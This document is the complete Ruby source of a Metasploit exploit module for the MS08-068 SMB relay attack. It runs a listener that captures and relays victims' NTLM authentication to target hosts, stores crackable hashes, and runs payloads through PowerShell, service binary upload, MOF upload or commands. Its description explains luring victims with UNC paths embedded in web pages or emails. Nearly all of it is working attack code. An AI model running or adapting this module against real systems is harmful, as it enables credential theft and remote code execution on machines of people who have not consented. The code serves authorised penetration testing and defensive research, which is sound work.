metasploit-framework/modules/exploits/windows/smb/smb_relay.rb

414 lines
15 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:
Local Security Settings >
Local Policies >
Security Options >
Network Access: Sharing and security model for local accounts
=end
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include ::Msf::Exploit::Remote::SocketServer
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
include ::Msf::Exploit::Remote::SMB::Client::Psexec
include ::Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Module::HasActions
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution',
'Description' => %q{
This module will relay SMB authentication requests to another
host, gaining access to an authenticated SMB session if successful.
If the connecting user is an administrator and network logins are
allowed to the target machine, this module will execute an arbitrary
payload. To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication attempt
is by embedding a UNC path (\SERVER\SHARE) into a web page or
email message. When the victim views the web page or email, their
system will automatically connect to the server specified in the UNC
share (the IP address of the system running this module) and attempt
to authenticate. Unfortunately, this
module is not able to clean up after itself. The service and payload
file listed in the output will need to be manually removed after access
has been gained. The service created by this tool uses a randomly chosen
name and description, so the services list can become cluttered after
repeated exploitation.
The SMB authentication relay attack was first reported by Sir Dystic on
March 31st, 2001 at @lanta.con in Atlanta, Georgia.
On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin
includes a patch which prevents the relaying of challenge keys back to
the host which issued them, preventing this exploit from working in
the default configuration. It is still possible to set the SMBHOST
parameter to a third-party host that the victim is authorized to access,
but the "reflection" attack has been effectively broken.
As of Feb 2022 - this module does not support SMB 1.
},
'Author' => [
'hdm', # Original SMB v1 relay module
'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support
'agalway-r7', # Add SMB 2/3 support
'alanfoster', # Add SMB 2/3 support
'Spencer McIntyre' # Add SMB 2/3 support
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'References' => [
['CVE', '2008-4037'],
['OSVDB', '49736'],
['MSB', 'MS08-068'],
['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'],
['URL', 'https://en.wikipedia.org/wiki/SMBRelay'],
['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx']
],
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'win',
'Targets' => [
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
[ 'Command', { 'Arch' => [ARCH_CMD] } ]
],
'Notes' => {
'Stability' => [
CRASH_SAFE,
],
'Reliability' => [
REPEATABLE_SESSION
],
'SideEffects' => [
ARTIFACTS_ON_DISK,
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS
]
},
'DisclosureDate' => '2001-03-31',
'DefaultTarget' => 0,
'Actions' => available_actions,
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultAction' => 'PSEXEC'
)
)
register_options(
[
OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE']),
OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']),
OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),
OptString.new('CAINPWFILE', [false, 'Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.', nil]),
OptString.new('JOHNPWFILE', [false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil]),
OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]),
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
]
)
register_advanced_options(
[
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
]
)
deregister_options(
'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession'
)
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session')
end
end
def available_actions
actions = [
['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }]
]
if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }]
end
actions
end
def smb_logger
log_device = datastore['VERBOSE'] ? Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) : Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework)
Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device)
end
class SMBRelayServer
include ::Rex::Proto
def initialize(options)
@options = options
end
def alias
super || 'SMB Relay Server'
end
#
# Returns the hardcore alias for the SMB service
#
def self.hardcore_alias(*args)
sock_options = sock_options_for(*args)
"#{sock_options['LocalHost']}#{sock_options['LocalPort']}"
end
def start
@listener_sock = Rex::Socket::TcpServer.create(sock_options)
@listener_server = Msf::Exploit::Remote::SMB::Relay::NTLM::Server.new(**smb_server_options(@listener_sock))
@listener_thread = Rex::ThreadFactory.spawn('SMBRelayServerListener', false) do
@listener_server.run
rescue StandardError => e
elog(e)
end
end
def stop
begin
@listener_server.close if @server && !@server.closed?
@listener_thread.kill if @listener_thread
rescue StandardError => e
print_error('Failed closing SMB server')
elog('Failed closing SMB server', error: e)
end
begin
@listener_sock.close if @listener_sock && !@listener_sock.closed?
rescue StandardError => e
print_error('Failed closing SMB server socket')
elog('Failed closing SMB server socket', error: e)
end
end
#
# This method waits on the server listener thread
#
def wait
@listener_thread.join if listener_thread
end
attr_accessor :listener_sock, :listener_thread
def self.sock_options_for(options)
{
'LocalHost' => '0.0.0.0',
'LocalPort' => 445
}.merge(options[:socket])
end
private
def sock_options
self.class.sock_options_for(@options)
end
def smb_server_options(listener_sock)
{ server_sock: listener_sock }.merge(@options[:smb_server])
end
end
def start_service(_opts = {})
ntlm_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new(
default_domain: datastore['SMBDomain']
)
# Set domain name for all future server responses
ntlm_provider.dns_domain = datastore['SMBDomain']
ntlm_provider.dns_hostname = datastore['SMBDomain']
ntlm_provider.netbios_domain = datastore['SMBDomain']
ntlm_provider.netbios_hostname = datastore['SMBDomain']
validate_smb_hash_capture_datastore(datastore, ntlm_provider)
comm = _determine_server_comm(datastore['SRVHOST'])
print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
@service = Rex::ServiceManager.start(
self.class::SMBRelayServer,
{
socket: {
'Comm' => comm,
'LocalHost' => datastore['SRVHOST'],
'LocalPort' => datastore['SRVPORT'],
'Server' => true,
'Timeout' => datastore['SRV_TIMEOUT'],
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
},
smb_server: {
gss_provider: ntlm_provider,
logger: smb_logger,
relay_targets: Msf::Exploit::Remote::SMB::Relay::TargetList.new(datastore['RELAY_TARGETS'], randomize_targets: datastore['RANDOMIZE_TARGETS']),
listener: self,
relay_timeout: datastore['RELAY_TIMEOUT'],
thread_manager: framework.threads
}
}
)
end
def validate_service_stub_encoder!
service_encoder = datastore['SERVICE_STUB_ENCODER']
return if service_encoder.nil? || service_encoder.empty?
encoder = framework.encoders[service_encoder]
if encoder.nil?
raise Msf::OptionValidateError.new(
{
'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
}
)
end
end
def exploit
if datastore['RHOSTS'].present?
print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')
end
case action.name
when 'PSEXEC'
validate_service_stub_encoder!
end
super
end
def on_relay_success(relay_connection:)
case action.name
when 'PSEXEC'
run_psexec(relay_connection)
when 'CREATE_SMB_SESSION'
begin
session_setup(relay_connection)
rescue StandardError => e
elog('Failed to setup the session', error: e)
end
end
end
def run_psexec(relay_connection)
# The psexec mixins assume a single smb client instance is available, which makes it impossible
# to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module,
# and set the datastore options and simple smb instance
new_mod_instance = replicant
new_mod_instance.datastore['RHOST'] = relay_connection.target.ip
new_mod_instance.datastore['RPORT'] = relay_connection.target.port
# The new module no longer needs a reference to the original smb server, deref it explicitly:
new_mod_instance.service.deref
new_mod_instance.service = nil
# Wrap the ruby_smb connection in a rex-compatible adapter
new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection)
thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})"
framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance|
mod_instance.exploit_smb_target
rescue StandardError => e
print_error("Failed running psexec against target #{datastore['RHOST']} - #{e.class} #{e.message}")
elog(e)
# ensure
# # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed.
# # The parent module will clean these shared resources
# mod_instance.cleanup
end
end
def on_relay_failure(relay_connection:)
# noop
end
# Called after a successful connection to a relayed host is opened
def exploit_smb_target
# automatically select an SMB share unless one is explicitly specified
if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
smbshare = datastore['SMBSHARE']
elsif target.name == 'Command'
smbshare = 'C$'
else
smbshare = 'ADMIN$'
end
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
vprint_status 'Running psexec'
case target.name
when 'Automatic'
if powershell_installed?(smbshare, datastore['PSH_PATH'])
print_status('Selecting PowerShell target')
execute_powershell_payload
else
print_status('Selecting native target')
native_upload(smbshare, service_filename, service_encoder)
end
when 'PowerShell'
execute_powershell_payload
when 'Native upload'
native_upload(smbshare, service_filename, service_encoder)
when 'MOF upload'
mof_upload(smbshare)
when 'Command'
execute_command_payload(smbshare)
end
handler
disconnect
end
# @param [RubySMB::Client] client
def session_setup(client)
return unless client
platform = 'windows'
# Create a new session
rstream = client.dispatcher.tcp_socket
sess = Msf::Sessions::SMB.new(
rstream,
{
client: client
}
)
ds = {
'RHOST' => client.target.ip,
'RPORT' => client.target.port
}
s = start_session(self, nil, ds, false, sess.rstream, sess)
s.platform = platform
s
end
end